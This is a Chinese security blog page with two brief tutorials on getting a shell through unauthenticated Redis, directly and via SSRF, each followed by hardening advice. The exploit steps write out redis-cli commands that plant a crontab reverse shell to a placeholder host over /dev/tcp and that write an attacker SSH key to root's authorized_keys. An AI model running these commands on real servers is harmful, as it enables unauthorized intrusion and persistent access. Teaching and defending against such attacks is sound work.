Redis未授权访问原理与防御

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Redis 攻击只在授权测试环境进行。对非授权 Redis 实例进行攻击可能触犯法律。

一、Redis 未授权利用链

1

① 发现 Redis → ② 确认未授权 → ③ 写 Crontab → ④ 写 SSH 密钥 → ⑤ 写 WebShell → ⑥ 提权

二、利用步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 确认未授权
redis-cli -h target
PING → PONG（未授权）

# 写 Crontab
set msg "\n* * * * * /bin/bash -c 'bash -i ...'"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

# 写 SSH 密钥
set sshkey "ssh-rsa AAAA..."
config set dir /root/.ssh
config set dbfilename authorized_keys
save

三、防御加固

1
2
3
4
5


requirepass 设置强密码
rename-command CONFIG ""
bind 127.0.0.1（禁止公网）
Redis 以低权限用户运行
升级到 Redis 6+（ACL 支持）

四、小结

Redis 未授权 = 服务器 GetShell。防御核心是设置密码 + 禁止公网 + 最小权限用户。

漏洞联动SSRF打Redis未授权Getshell

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

漏洞联动测试只在授权测试环境进行。

一、SSRF 打 Redis 攻击链

1

① SSRF → ② 发现 Redis 6379 → ③ 写 Crontab/SSH 密钥 → ④ GetShell

二、利用步骤

1
2
3
4
5
6
7


1. SSRF 探测内网 Redis：http://target/?url=http://127.0.0.1:6379
2. 连接 Redis：redis-cli -h 内网IP
3. 写 Crontab：
 set msg "\n* * * * * bash -i >& /dev/tcp/xxx/4444 0>&1\n"
 config set dir /var/spool/cron/crontabs
 config set dbfilename root
 save

三、防御加固

1
2


Redis 设置密码 · bind 127.0.0.1
禁止 SSRF · URL 白名单

四、小结

SSRF + Redis 未授权 = GetShell。防御核心是Redis 加密码 + SSRF 防护。

GetShell on SoulJian小站

Redis未授权访问原理与防御

写在前面：合法学习边界

一、Redis 未授权利用链

二、利用步骤

三、防御加固

四、小结

漏洞联动SSRF打Redis未授权Getshell

写在前面：合法学习边界

一、SSRF 打 Redis 攻击链

二、利用步骤

三、防御加固

四、小结